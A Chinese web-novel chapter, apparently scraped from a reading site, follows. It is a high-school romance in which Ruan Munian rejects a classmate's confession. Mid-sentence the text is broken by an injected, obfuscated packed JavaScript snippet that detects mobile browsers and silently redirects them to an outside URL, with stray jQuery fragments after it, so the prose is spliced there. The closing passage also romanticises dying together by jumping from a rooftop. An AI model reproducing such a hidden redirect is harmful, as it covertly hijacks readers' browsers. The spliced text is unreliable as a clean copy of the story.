默认冷灰
24号文字
方正启体

59. 59

作者:東聿本书字数:K更新时间:
    第二天,阮牧年在班级里各方打听了一圈,才放下心来。


    还好,假请了,作业没有落下,早读要求背诵的篇目他也已经背过了,昨晚浪费的时间在可控范围内。


    反观同桌,就有些惨了。


    刘嘉:“六爷,数学作业下节课要收,从你开始传给我啊。”


    桑群:“什么。”


    学委:“桑群同学,这周的课堂笔记就差你没交了。”


    桑群:“……哦。”


    班长:“六爷,政治老师叫你课间去一趟办公室。”


    桑群:“知道了。”


    被各种课代表轮番找了一遍,讲台上开始上课,粉笔在黑板上叩叩作响,眼皮也是越来越沉重。


    手肘被人轻推了一下,旁边递过来一张纸条。


    【坚持住,实在听不下去就补一下这几天的课堂笔记吧】


    纸条下垫着好几本笔记本。


    桑群:“……”


    他想睡觉。


    从第一节下课开始,困恹恹的某人就开始了请假之后的疯狂赶作业模式。


    数学作业。


    课堂笔记。


    政治提纲。


    物理小测。


    英语抄写。


    ……


    最后一笔落下,书页啪地合上,小组长收走了作业,转了一上午的无情作业机器终于熄火,桑群哐当栽倒在桌面上。


    困死了。


    被某个色鬼吵醒,还要哄他睡觉,结果自己没了困意,熬了好一会儿才入眠。


    深度睡眠了十几分钟,梦境开始潜入意识。


    梦里的场景有些模糊,触感却过分真实。


    手心里的温热,脸上的微痒,耳尖的发烫,以及唇边那一点濡湿的软。


    这是在干什么呢?


    不知道,分辨不清了,只觉得非常舒服,也非常愉悦。


    就是脖子有点疼。


    嗯?


    他后知后觉谁的手正搭在他后颈上,肩膀被摇得左右晃动。


    挣扎了好一会儿,他才从桌上撑起来,掀起一边眼皮没好气地看向扰人清梦的罪魁祸首:“有事?”


    “人都走光了,”阮牧年看着他,“你别睡到下午上课啊。”


    桑群扫了一眼教室,空荡荡的,已经放学十分钟了。


    “你怎么没走?”桑群问。


    “我……待会儿要去凉亭一下。”阮牧年说。


    桑群反应了一下,去凉亭干什么,哦,好像是要去跟人家解释。


    果然,阮牧年下一秒就说:“我不想去。”


    桑群叹了口气,靠在椅背上,半阖着眼:“要去。好好说话。”


    阮牧年问他:“非去不可吗。”


    桑群看了他一眼。


    不安的表情很明显。


    他对阮牧年伸出手:“手。”


    “嗯?”


    虽然不知道他什么意思,阮牧年还是把自己的手搭在桑群掌心上。


    桑群摆正他的手背,另一只手竖起大拇指,在他中指骨节正上方不轻不重地印了一下。


    “去吧,”桑群松开手,“带好你的勋章。”


    阮牧年看着他张了张嘴:“……嗯。”


    桑群的眼角还带着困倦,背光的角度看过来,眸里的反光却格外明亮。


    好像也没那么抗拒了。


    阮牧年盯着自己的手背发呆。


    上面什么也没有,但他知道桑群给他盖了勇气之章。


    是桑群特有的奖励方式。


    在幼儿园的某段时间,桑群特别热衷于奖励他,一高兴就喜欢在他身上各种地方留下亲亲。


    今天亲亲额头,明天亲亲手背,诸如此类。


    甚至有小朋友来问:“桑群,阮不年是你的小媳妇吗?”


    阮牧年羞愧至极,红着脸不许桑群再亲。


    桑群非常苦恼:“可是我没有小红花,我真的只是想要夸你。”


    “反正就是不可以这样,会被别人误会的。”


    桑群想了好久,终于想出一个办法。他见过大人们用红色的印泥盖章,也可以充当小红花。


    那就用大拇指盖吧,印泥去哪里找?


    看了一圈,他想起自己的嘴唇就是红色的呀,于是在嘴上按了按,轻轻舔了一下指腹,然后啪叽盖在阮牧年手背上。


    盖章湿湿的,却没有颜色。


    阮牧年问他印章怎么消失了,他绞尽脑汁地给自己挽尊:“呃……因为年年不喜欢太招摇,所以印章就先隐形了。等你答应做小媳妇,它才会出现。”


    年年呆了呆,气鼓鼓道:“我才不答应呢!隐形就隐形,哼。”


    盖章虽然看不见,却是桑群支撑他面对一切的象征。


    阮牧年深吸一口气,抬眼看过去。


    凉亭外,程抒晴已经到了。


    他走过去,有些生硬地招呼:“……中午好。”


    程抒晴回头笑了笑:“拖堂了吗?还以为你不来了呢。”


    阮牧年:“没……一些事耽误了一下。”


    其实是不想来。


    “嗯……那你,考虑得怎么样了?”程抒晴挽了挽额边的碎发。


    阮牧年没说话。


    明明昨晚已经打好了腹稿,要委婉得体,先肯定对方的优点,适时放低自己的位置,然后为自己的拒绝给出一二三理由……


    长篇大论到了嘴边,出口却被精简成短短一句话:“我……抱歉。”


    程抒晴眨了眨眼:“倒不是很意外呢……我能听听理由吗?”


    阮牧年抿了抿唇:“如果你不说的话,我其实……完全没有考虑过这方面的事情,所以……嗯。”


    “啊,可以理解的,”程抒晴点了点头,脸上虽然笑着,抓着袖口的手指却一直胡乱按捏着,“毕竟学习为重嘛。我原本也没抱太大希望……嗯,牧年,那如果不是现在呢?”


    阮牧年没听懂:“嗯?”


    “你只是没有考虑过。现在不合适的话,”程抒晴问,“毕业以后,我可以追你吗?”


    阮牧年一愣:“什么?”


    程抒晴说:“现在说确实有些早了,不过我觉得……”


    后面的话语逐渐听不清了,阮牧年站在原地,思绪又开始混乱。


    你只是没考虑过。


    你只是一直在躲避。


    你其实知道自己会怎么做。


    你知道自己总会接受某个人的喜欢。


    程抒晴说得对,不是现在,也会是以后。


    只要有那个可能存在,记忆中的结局也一定会在未来等你。


    你……


    不对、不对。


    不能这样想。


    “不要觉得你会是任何人的影子,也不要被你父母的阴影永远笼罩着……


    “年年,总会有人去爱你。


    “包括我。”


    结局是可以改变的、可以改变的、可以改变的。


    有人站在更加明亮的未来,等他踏过荆棘走去。


    手背上的印章微微发烫,日光有些晃眼,阮牧年抬起眼,听见自己格外冷静坚定的声音。


    “不好意思,”他说,“我应该还是不会答应。”


    程抒晴一怔:“为什么?”


    阮牧年刚想说话,余光瞥见了什么,顿时止住了话头。


    假山后,某个熟悉的身影慢慢接近。


    阮牧年发怔。


    不是说让他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356337|199683||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    独自面对吗,怎么没在教室补觉?


    然而桑群压根没看他,目不斜视地从小路上经过。


    阮牧年连忙喊他一声:“桑群。”


    桑群脚步顿了顿,似乎才发现这边有两个大活人。


    程抒晴跟他打了声招呼:“六爷,你也还没回去啊。”


    桑群颔首。


    阮牧年问:“你去干嘛?”


    “买水。”桑群淡淡地说。


    “给我们也带一瓶吧。”阮牧年说。


    桑群看了他一眼,没搭理他,转身就走。


    程抒晴奇怪地看向阮牧年:“这样使唤他不好吧。”


    阮牧年:“没事。”


    本来喉口还有些许反胃感,看见桑群的刹那,整个人都安心了下来。


    忍不住跟他搭话,希望他能待得更久些,哪怕是胡搅蛮缠。


    程抒晴喊他回神:“牧年?”


    阮牧年:“嗯,怎么了?”


    程抒晴:“你还没回答我的问题。”


    阮牧年想了想:“为什么不答应吗……因为,我一点也不喜欢你。”


    程抒晴脸上的表情难堪了一瞬,随即很快勉强笑了笑:“啊,这样嘛。但以后的事也说不准吧,我觉得我们相处得还行啊,真的不考虑试试……”


    阮牧年却打断了她:“你为什么会喜欢我呢?”


    程抒晴停顿了一下:“喜欢这种事……很难说清的呀。”


    阮牧年:“总会有某个理由,或者心动的瞬间吧?”


    程抒晴想了想:“一定要说的话,你的性格、做事态度都很好啊,相处起来也很舒服,喜欢你才是人之常情吧。”


    阮牧年:“除此之外呢?”


    程抒晴:“想跟你见面、聊天,期待变得更加亲近,看不见的时候会想念……这些算吗?”


    阮牧年却摇了摇头:“可我觉得你不够喜欢我。”


    程抒晴一愣:“什么?”


    阮牧年上前一步,树影落在他的眉眼处,垂下睫毛的瞳孔被遮去反光,眼底宛若漆黑深潭。


    他低声问:“如果有一天我从楼顶跳下去,你会愿意陪我去死吗?”


    程抒晴瞳孔骤缩:“你说什么?”


    阮牧年定定地看着她,神色不似玩笑。


    “你不会的,”他轻声说,“你只是对阮牧年有好感而已,就算后面在一起了,我对你而言只是恋人。你也许会难过,也许会遗憾,但人总归是自私的,为此搭上性命是不明智的选择。”


    程抒晴震惊地看着他,不敢相信这种话会从一个十八岁的高中生口中说出来。


    好半晌她才呢喃开口:“难道你有愿意为之而死的人吗?”


    阮牧年看着她,笑了。


    “有。”


    甜言蜜语终究只是浅薄感情的金玉其表,不够深重的爱情抵挡不住漫长人生中的洪流,他亲眼见证过它们毁灭的结局。


    阮牧年是无法忍受孤独的人。


    只有沉重的感情可以拖住他,只有长久的岁月可以拥抱他,只有无处不在的参与感可以让他安心。


    能做到这些的只有一个人。


    他不知道这种依赖算不算喜欢,他的信任混杂了太多感情,朋友、兄弟、家人,到如今已经无法一个个分辨。


    相识相知、逐步靠近的喜欢只会让他不安,他清楚自己的爱情观本就扭曲,只有无止尽的宠爱才能知足。


    还以为永远也走不出这一步,可能要一辈子在阴影里环抱着羽翼哭泣。


    想通也是一瞬间的事情。


    当年桑群站在学校顶楼的栏杆边时,他脑海里只有一个念头。


    如果抓不住桑群。


    他也会跟着一起跳下去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)